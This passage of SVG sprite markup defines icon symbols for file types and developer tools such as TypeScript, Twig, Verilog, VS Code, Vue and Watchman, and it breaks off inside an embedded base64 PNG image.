0-1.822-.072-2.484-.228-1.471-.336-3.148-1.754-5.431-9.795-1.325-4.668-2.314-9.764-2.603-12.387-.57-5.121-.466-7.864 1.662-9.636 1.283-1.071 5.611-3.344 6.507-3.809l-.192-1.58c-13.75 8.08-21.991 15.22-22.157 15.366L0 134.302l7.005-11.047c5.544-8.755 11.948-15.832 17.84-21.284-.244-.098-.471-.196-.71-.294l-1.299-.585a34.907 34.907 0 0 1-1.34-.653l-.461-.237-.295-.457c-.166-.249-.238-.388-.347-.574l-.29-.512c-.181-.347-.358-.684-.518-1.025a30.878 30.878 0 0 1-.89-2.071 44.74 44.74 0 0 1-1.404-4.198 54.745 54.745 0 0 1-1.62-8.605 54.664 54.664 0 0 1-.259-8.733c.078-1.455.218-2.909.419-4.354.104-.725.213-1.45.358-2.17.15-.734.296-1.418.518-2.221l.155-.564.404-.317c2.294-1.802 4.768-3.163 7.284-4.369a78.87 78.87 0 0 1 6.311-2.616c5.943-16.493 16.162-31.118 29.591-41.311C74.337 5.57 90.664 0 107.671 0s33.334 5.57 47.218 16.106c13.43 10.193 23.649 24.819 29.588 41.307a78.282 78.282 0 0 1 6.316 2.62c2.515 1.206 4.99 2.567 7.283 4.369l.404.317.156.564c.227.803.372 1.487.517 2.221.146.72.26 1.445.357 2.17.203 1.443.348 2.897.419 4.352zm-11.995 48.031c.456-5.052.058-6.139-.455-6.554-.513-.43-2.247-1.412-3.935-2.329l-2.779 19.464a1.39 1.39 0 0 1-.58.942l-3.977 2.781c-.315 1.593-.429 2.345-.817 3.903 2.273.528 5.999.938 7.775.595 1.612-1.748 4.214-12.61 4.768-18.802zm-5.161-17.648l2.977-11.29c-4.318-.978-12.27-2.615-23.1-4.148-5.53 3.976-11.582 7.155-17.53 9.691 18.199 1.771 31.57 4.406 37.653 5.747zm-4.68 27.237l3.385-23.676a240.127 240.127 0 0 0-5.731-1.169l-3.059 21.422a1.415 1.415 0 0 1-.575.943l-11.472 8.023c-.27.192-.616.28-.947.243l-34.572-3.929a1.391 1.391 0 0 1-1.176-.973l-6.227-20.5c-1.668-.431-5.949-1.43-9.696-1.43-3.764 0-8.041.999-9.708 1.43l-6.228 20.5a1.388 1.388 0 0 1-1.025.947l-34.572 7.692a1.483 1.483 0 0 1-.306.033 1.36 1.36 0 0 1-.792-.25l-11.467-8.029a1.396 1.396 0 0 1-.585-.968l-3.091-25.072c-1.284.249-2.443.487-3.479.703-.734.405-1.46.809-2.174 1.213l3.281 26.568 16.666 11.675 42.047-9.354 6.207-20.449a1.389 1.389 0 0 1 1.108-.975c1.574-.253 2.95-.382 4.116-.382 1.153 0 2.536.129 4.105.382.528.083.957.461 1.108.975l6.366 20.956 42.282 4.808zm-8.07-4.411l2.992-20.948c-8.439-1.536-20.78-3.394-35.897-4.554-13.647 4.707-25.077 6.108-25.766 6.155l-.797.057c4.353.374 8.454 1.544 8.66 1.605.452.135.804.481.944.933l6.186 20.366 33.138 3.764zm2.303 11.845l-1.404.983-3.779 2.651-4.095 2.868c-.279.192-.621.28-.954.243l-40.746-4.633-2.966-.337a1.39 1.39 0 0 1-1.171-.977l-6.377-20.998c-1.066-.145-2.014-.219-2.81-.219-.809 0-1.751.073-2.817.219l-6.192 20.392a1.383 1.383 0 0 1-1.025.946l-43.435 9.672c-.103.02-.206.03-.305.03-.279 0-.559-.083-.798-.253l-1.578-1.098-4.726-3.307v-.011l-1.91-1.335c.135.43.289.85.441 1.268l-.006.006c.368 1.092 4.028 11.622 11.467 21.929a873.96 873.96 0 0 0 17.057-5.234c4.488-6.917 10.877-13.777 15.418-14.014a51.12 51.12 0 0 1 2.402-.061c2.221 0 4.344.16 6.31.393-1.671-1.517-2.013-3.298-2.256-4.085 0 0 5.793 4.53 13.17 3.584 7.378-.953 11.959-5.204 11.959-5.204s-.021 3.102-3.236 5.503c6.182-1.869 8.739-2.511 10.489-2.511 1.931 0 2.883.808 3.717 1.519.161.129.322.268.507.419a3519.302 3519.302 0 0 1 12.141 9.614c1.936.227 8.075.926 11.943 1.283 2.23.201 4.245.372 6.217.372.637 0 1.233-.026 1.797-.063 2.558-4.88 4.857-10.411 6.808-16.653.261-.96.516-1.928.743-2.901zm-15.034-51.593c-.01-.006-.02-.012-.031-.012a551.624 551.624 0 0 0-9.826-.651 905.6 905.6 0 0 0-13.667-.668 72.95 72.95 0 0 1-1.574 2.225c-2.479 3.355-7.398 9.51-13.704 14.729 8.926-1.6 24.409-5.56 37.803-14.905.336-.238.668-.486.999-.718zm-29.876.926c.377-.471.729-.926 1.044-1.34-3.281.331-6.512.808-9.67 1.408-10.814 2.024-20.801 5.389-29.11 8.837a383.259 383.259 0 0 1 18.54-.455c3.908 0 7.708.067 11.404.176 3.179-3.056 5.861-6.182 7.792-8.626zm3.587 102.085c-4.503-.332-8.598-2.205-11.903-5.477a271.86 271.86 0 0 0-.502-.512 44.25 44.25 0 0 1-4.881.704c-.698.026-1.361.087-2.091.087l-1.083.011-.413-.011c-4.396 6.539-14.159 7.813-14.605 7.87-.403.046-.734.103-1.191.186 5.442 1.491 10.996 2.138 16.474 1.77 5.492-.367 12.627-1.558 20.195-4.628zm-17.4-7.461a45.604 45.604 0 0 0 3.184-.378 138.958 138.958 0 0 1-3.568-3.857 398.441 398.441 0 0 1-1.92 4.339h.243c.658.001 1.378-.071 2.061-.104zm-3.354-78.632c1.827-1.103 3.582-2.366 5.249-3.712a422.33 422.33 0 0 0-7.278-.072c-10.137 0-19.606.415-28.189 1.061-8.61 4.209-13.875 7.672-13.998 7.76l-8.268 5.514 5.679-8.149a52.452 52.452 0 0 1 2.956-3.857c-9.536 1.066-17.477 2.329-23.41 3.422l3.038 24.632 10.453 7.321 33.184-7.378 6.212-20.464c.104-.337.331-.621.627-.793.098-.063.202-.109.315-.14.192-.052 3.51-.999 7.336-1.465zm3.816-18.788c-2.31-.036-4.623-.057-6.933-.062h-.005c-3.39.005-6.787.041-10.189.109l-6.269 2.971c-.005.005-.041.021-.088.048-.942.46-9.174 4.613-16.919 12.021 6.943-3.65 17.146-8.418 29.153-12.115a144.186 144.186 0 0 1 11.25-2.972zM70.251 98.761c3.251-3.225 6.605-5.886 9.567-7.967-11.415 2.651-21.923 6.543-31.128 10.778a360.846 360.846 0 0 1 21.561-2.811zm2.159-9.949a150.122 150.122 0 0 1 11.813-2.796c-5.798.212-11.6.481-17.393.808-3.366.186-6.715.414-10.065.667-1.678.129-3.345.263-5.007.445-.476.046-.942.098-1.418.16-4.369 2.614-21.127 13.134-32.631 26.889 11.179-7.769 30.654-19.443 54.701-26.173zm-30.85 54.197a68.861 68.861 0 0 1-.621-2.102l-5.162-3.612a1.391 1.391 0 0 1-.586-.969l-2.516-20.449c-1.864.999-4.017 2.225-4.592 2.707-.497.409-.875 1.46-.336 6.332.668 6.01 3.712 17.333 5.348 18.979 1.968.347 6.327-.258 8.465-.886zm-3.815-51.36a229.005 229.005 0 0 0-7.051 1.47l.829 3.127a103.93 103.93 0 0 1 6.222-4.597z" id="jkpath95" fill="#2d3136"/></g></g></symbol><symbol viewBox="0 0 24 24" fill-rule="evenodd" clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" id="tune" xmlns="http://www.w3.org/2000/svg"><path d="M6.85 2.852h-2v6h2v-6m12 0h-2v10h2v-10m-16 10h2v8h2v-8h2v-2h-6v2m12-6h-2v-4h-2v4h-2v2h6v-2m-4 14h2v-10h-2v10m4-6v2h2v4h2v-4h2v-2h-6z" fill="#fbc02d" fill-rule="nonzero"/></symbol><symbol viewBox="0 0 50 50" id="twig" xmlns="http://www.w3.org/2000/svg"><path d="M9.727 47.556c-.125-.223-.297-2.168-.183-2.087.034.025.171.267.304.537.132.27.282.487.332.482.123-.011.075-1.196-.1-2.454-.331-2.398-1.176-4.435-2.358-5.69-.2-.212-.344-.4-.319-.419.093-.067 1.327.843 1.842 1.359.293.293.735.825.981 1.181.328.474.465.618.51.534.078-.147-.21-9.903-.376-12.701-.074-1.255.063-1.023.61 1.035 1.064 4.006 1.858 7.922 2.342 11.55.086.637.173 1.172.195 1.19.022.016.092.001.157-.034.888-.483 1.524-.667 2.55-.736.727-.048.945.062.35.178-1.15.222-1.99 1.013-2.344 2.201-.315 1.061-.327 2.707-.024 3.434.152.366.037.426-1.067.56-.716.088-.977.096-1.202.037-.356-.092-1.118-.098-1.195-.008-.031.036-.243.066-.47.066-.38 0-.423-.017-.535-.215zm1.974-3.233c.152-.205.072-.41-.204-.522-.225-.09-.263-.088-.437.025-.21.137-.252.43-.08.554.18.13.607.096.72-.057zm1.248.086a.763.763 0 0 0 .214-.203c.241-.33-.352-.622-.745-.366-.406.265.08.785.531.569zm2.288 3.094c-.033-.039.117-.387.334-.775.216-.387.411-.665.433-.618.07.152-.201 1.28-.33 1.372-.15.108-.354.117-.437.02zM8.2 47.092c-.29-.343-.221-.434.14-.182.176.123.321.263.321.31 0 .165-.279.087-.46-.128zm8.649-.145c0-.053.102-.18.227-.282.25-.204.312-.113.143.207-.095.18-.37.236-.37.075zm8.065-.827c-.243-.025-.48-.088-.527-.141-.11-.125-.114-3.043-.004-3.043.045 0 .132.149.193.331.127.38.228.42.31.124.094-.337.065-3.472-.039-4.297-.449-3.55-1.865-6.124-4.342-7.89-1.086-.774-2.653-1.436-4.047-1.711-.764-.15-.522-.224.598-.182 2.364.089 4.167.706 5.847 2.001a11.046 11.046 0 0 1 2.32 2.502c.453.682.64.854.64.584 0-.07.063-.882.139-1.805.679-8.26 2.396-15.1 4.984-19.86 1.86-3.422 5.108-6.817 7.885-8.244 1.397-.718 2.539-.988 4.02-.952.933.023 1.01.036 1.77.307a6.822 6.822 0 0 1 1.363.662c.612.407 1.309 1.004 1.235 1.058-.026.018-.343-.165-.705-.407-2.657-1.771-5.062-1.52-7.12.742-1.108 1.22-2.651 3.53-3.634 5.443-2.828 5.503-4.541 11.464-5.291 18.413-.163 1.509-.282 3.76-.195 3.703.032-.022.266-.52.518-1.108 1.597-3.723 3.578-6.428 5.79-7.908.672-.449 1.612-.904 1.715-.83.022.016-.172.22-.432.454-1.957 1.754-3.248 3.76-4.232 6.572-.938 2.68-1.366 5.588-1.368 9.3-.002 1.741.188 4.385.366 5.101.125.505.08.546-.585.546-.55 0-2.306.138-3.416.27-.414.05-.817.04-1.609-.036-.58-.056-1.129-.119-1.218-.14-.165-.037-.18-.014-.2.302-.01.186-.098.203-.728.139zm2.507-6.725c.294-.11.375-.22.375-.517 0-.63-1.309-.706-1.524-.088-.074.211.13.51.42.616.297.108.413.106.73-.011zm2.369-.052c.277-.222.318-.364.174-.611-.4-.691-1.755-.307-1.428.404.121.266.299.35.738.354.227 0 .387-.045.516-.147zm3.011 6.681c-.027-.05.088-.268.256-.484.879-1.135 1.22-1.544 1.284-1.544.04 0 .056.037.036.082l-.423.964c-.212.485-.445.924-.519.977-.169.122-.57.125-.634.005zm2.446-.596c0-.121.853-.683.896-.59.018.04-.056.209-.166.376-.168.259-.238.305-.464.305-.164 0-.266-.035-.266-.091zm-13.04-.124c-.177-.159-.493-.656-.462-.725.018-.038.248.1.512.309.264.207.457.405.428.438-.075.088-.371.074-.478-.022z" fill="#9bb92f" stroke-width=".078"/></symbol><symbol viewBox="0 0 500 500" fill-rule="evenodd" clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" id="typescript" xmlns="http://www.w3.org/2000/svg"><path d="M49 51h408v408H49V51zm246.669 314.879l19.463-1.702c.922 7.8 3.067 14.199 6.435 19.198 3.368 4.998 8.597 9.04 15.688 12.124 7.09 3.085 15.067 4.627 23.93 4.627 7.87 0 14.819-1.17 20.845-3.51 6.027-2.34 10.512-5.548 13.455-9.625 2.942-4.077 4.413-8.526 4.413-13.348 0-4.892-1.418-9.164-4.254-12.816-2.836-3.651-7.516-6.718-14.039-9.2-4.183-1.63-13.436-4.165-27.759-7.604s-24.355-6.683-30.099-9.732c-7.445-3.899-12.993-8.739-16.644-14.517-3.652-5.779-5.478-12.249-5.478-19.41 0-7.871 2.234-15.227 6.701-22.069 4.467-6.842 10.99-12.036 19.569-15.581 8.58-3.546 18.116-5.318 28.61-5.318 11.557 0 21.75 1.861 30.577 5.584 8.828 3.722 15.617 9.199 20.368 16.432 4.75 7.232 7.303 15.421 7.657 24.568l-19.782 1.489c-1.064-9.856-4.662-17.301-10.795-22.335-6.133-5.034-15.191-7.551-27.174-7.551-12.479 0-21.573 2.286-27.281 6.86-5.707 4.573-8.561 10.086-8.561 16.538 0 5.602 2.021 10.21 6.062 13.826 3.971 3.617 14.34 7.321 31.109 11.115 16.769 3.793 28.273 7.108 34.513 9.944 9.076 4.183 15.776 9.483 20.101 15.9 4.325 6.417 6.488 13.809 6.488 22.175 0 8.296-2.375 16.113-7.126 23.452-4.751 7.338-11.575 13.046-20.474 17.123-8.898 4.077-18.913 6.116-30.045 6.116-14.11 0-25.933-2.056-35.47-6.169-9.537-4.112-17.017-10.299-22.441-18.559-5.424-8.26-8.278-17.602-8.562-28.025zm-65.728 50.094V278.454h51.583v-18.399H157.938v18.399h51.37v137.519h20.633z" fill="#0288d1"/></symbol><symbol viewBox="0 0 500 500" fill-rule="evenodd" clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" id="typescript-def" xmlns="http://www.w3.org/2000/svg"><path d="M457 459H49V51h408v408zM69 71v368h368V71H69z" fill="#0288d1"/><text x="342.219" y="344.544" font-family="ArialMT" font-size="12" fill="#0288d1" transform="translate(-6058.94 -5838) scale(18.1514)"><tspan style="-inkscape-font-specification:sans-serif" font-family="sans-serif" font-weight="400">TS</tspan></text></symbol><symbol viewBox="0 0 24 24" id="url" xmlns="http://www.w3.org/2000/svg"><path d="M16 6h-3v1.9h3a4.1 4.1 0 0 1 4.1 4.1 4.1 4.1 0 0 1-4.1 4.1h-3V18h3a6 6 0 0 0 6-6c0-3.32-2.69-6-6-6M3.9 12A4.1 4.1 0 0 1 8 7.9h3V6H8a6 6 0 0 0-6 6 6 6 0 0 0 6 6h3v-1.9H8c-2.26 0-4.1-1.84-4.1-4.1M8 13h8v-2H8v2z" fill="#42a5f5"/></symbol><symbol viewBox="0 0 24 24" id="verilog" xmlns="http://www.w3.org/2000/svg"><path d="M17.282 17.08H6.718V6.513h10.564m4.226 4.226V8.627h-2.113V6.514c0-1.173-.95-2.113-2.113-2.113H15.17V2.288h-2.113v2.113h-2.112V2.288H8.83v2.113H6.718c-1.173 0-2.113.94-2.113 2.113v2.113H2.492v2.113h2.113v2.113H2.492v2.113h2.113v2.113a2.113 2.113 0 0 0 2.113 2.113H8.83v2.113h2.113v-2.113h2.112v2.113h2.113v-2.113h2.113a2.113 2.113 0 0 0 2.113-2.113v-2.113h2.113v-2.113h-2.113V10.74m-6.339 2.113h-2.112V10.74h2.112m2.113-2.113H8.831v6.34h6.338z" fill="#ff7043" stroke-width="1.056"/></symbol><symbol viewBox="0 0 24 23.999999" id="vfl" xmlns="http://www.w3.org/2000/svg"><defs><style>.jra{fill:#f05223}.jrb{fill:url(#jra)}</style><radialGradient id="jra" cx="205.45" cy="208.29" r="225.35" gradientTransform="matrix(.04556 0 0 .0456 2.888 2.88)" gradientUnits="userSpaceOnUse"><stop stop-color="#ffd104" offset="0"/><stop stop-color="#faa60e" offset=".35"/><stop stop-color="#f05023" offset="1"/></radialGradient></defs><title>houdinibadge</title><g stroke-width=".046"><path class="jra" d="M19.97 3H4.03A1.03 1.031 0 0 0 3 4.031v4.135C4.548 6.977 6.563 6.21 8.948 6.21c5.107.003 8.35 3.574 8.348 8.081 0 3.13-1.46 5.485-3.746 6.71h6.42A1.03 1.031 0 0 0 21 19.968V4.031a1.03 1.031 0 0 0-1.03-1.03z" fill="#f4511e"/><path class="jrb" d="M3 17.722v2.247A1.03 1.031 0 0 0 4.03 21h1.837C4.474 20.21 3.49 19 3 17.722z" fill="url(#jra)"/><path class="jra" d="M8.948 8.231c-2.586-.09-4.598.86-5.948 2.264v3.163c.918-2.654 3.447-3.87 5.565-3.85 2.647.027 4.689 2.025 4.7 4.284.012 2.159-.892 3.748-3.33 4.14-1.33.213-3.411-.567-3.318-2.578.046-1.037.854-1.622 1.777-1.58-.905 1.213.293 2.102 1.139 1.921 1.048-.224 1.475-1.156 1.475-1.878 0-.762-.718-1.994-2.498-1.951-2.204.052-3.591 1.639-3.638 3.602-.056 2.468 2.253 4.091 4.622 4.121 3.48.046 5.543-2.24 5.539-5.586-.005-3.029-2.434-5.946-6.085-6.072z" fill="#f05223"/></g></symbol><symbol viewBox="0 0 24 24" id="virtual" xmlns="http://www.w3.org/2000/svg"><path d="M21 14H3V4h18m0-2H3c-1.11 0-2 .89-2 2v12a2 2 0 0 0 2 2h7l-2 3v1h8v-1l-2-3h7a2 2 0 0 0 2-2V4a2 2 0 0 0-2-2z" fill="#42a5f5"/></symbol><symbol viewBox="0 0 281.25 281.25" id="visualstudio" xmlns="http://www.w3.org/2000/svg"><path d="M196.18 101.74l-52.778 42.444 52.778 40.889V101.74m-136.67 110l-30-18.889v-100L62.843 81.74l47.778 37 96.666-89.222 44.444 27.778v172.22l-55.555 22.222-85.111-81.555-51.555 41.555m3.333-48.889l20.667-19.111-20.667-19.778z" fill="#ab47bc" stroke-width="11.111"/></symbol><symbol viewBox="0 0 300 300" id="vscode" xmlns="http://www.w3.org/2000/svg"><defs><style>.icon-canvas-transparent{fill:#f6f6f6;opacity:0}.icon-white{fill:#fff}</style></defs><title>BrandVisualStudioCode</title><path d="M218.62 29.953l-105.41 96.92L54.301 82.47 29.955 96.64l58.068 53.359-58.068 53.359 24.346 14.212 58.909-44.402 105.41 96.878 51.424-24.976V54.93zm0 63.744v112.6l-74.719-56.302z" fill="#2196f3" stroke-width="17.15"/></symbol><symbol viewBox="0 0 24 24" id="vue" xmlns="http://www.w3.org/2000/svg"><path d="M1.821 4.15l10.21 17.618L22.24 4.235V4.15h-7.692L12.113 8.33 9.691 4.15H1.82z" fill="#41b883"/><path d="M5.937 4.15l6.152 10.616 6.18-10.617h-3.722l-2.434 4.179-2.422-4.179H5.937z" fill="#35495e"/></symbol><symbol viewBox="0 0 420 419" id="watchman" xmlns="http://www.w3.org/2000/svg"><g stroke="#fff" stroke-linecap="round" stroke-linejoin="bevel"><path d="M166.95 145.32a93.935 123.23 0 0 1 92.934 3.263" fill="none" stroke-width="18.467"/><path d="M162.92 137.96L44.63 256.25a174.07 173.93 0 0 0 5.705 16.486l123.68-123.68-11.096-11.096zM266.54 144.04l-11.096 11.096 117.16 117.16a174.07 173.93 0 0 0 5.691-16.5l-111.76-111.76zm170.65 170.65v22.193l17.1 17.1 11.096-11.098-28.195-28.195z" fill="#fff" stroke-width="1.963"/><path d="M167.52 273.36a93.935 123.23 0 0 1 92.934-3.263" fill="none" stroke-width="18.467"/><path d="M49.516 144.56a174.07 173.93 0 0 0-.809 2.213 174.07 173.93 0 0 0-4.757 14.344 174.07 173.93 0 0 0-.016.055l119.56 119.56 11.098-11.096-125.07-125.07zM454.87 64.703l-17.668 17.668v22.191l28.764-28.764-11.096-11.096zm-80.984 80.984l-117.86 117.86 11.098 11.096 112.18-112.18a174.07 173.93 0 0 0-5.416-16.777z" fill="#fff" stroke-width="1.963"/></g><image x="21.229" y="20.262" width="378" height="377.1" preserveAspectRatio="none" xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="data:image/png;base64,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 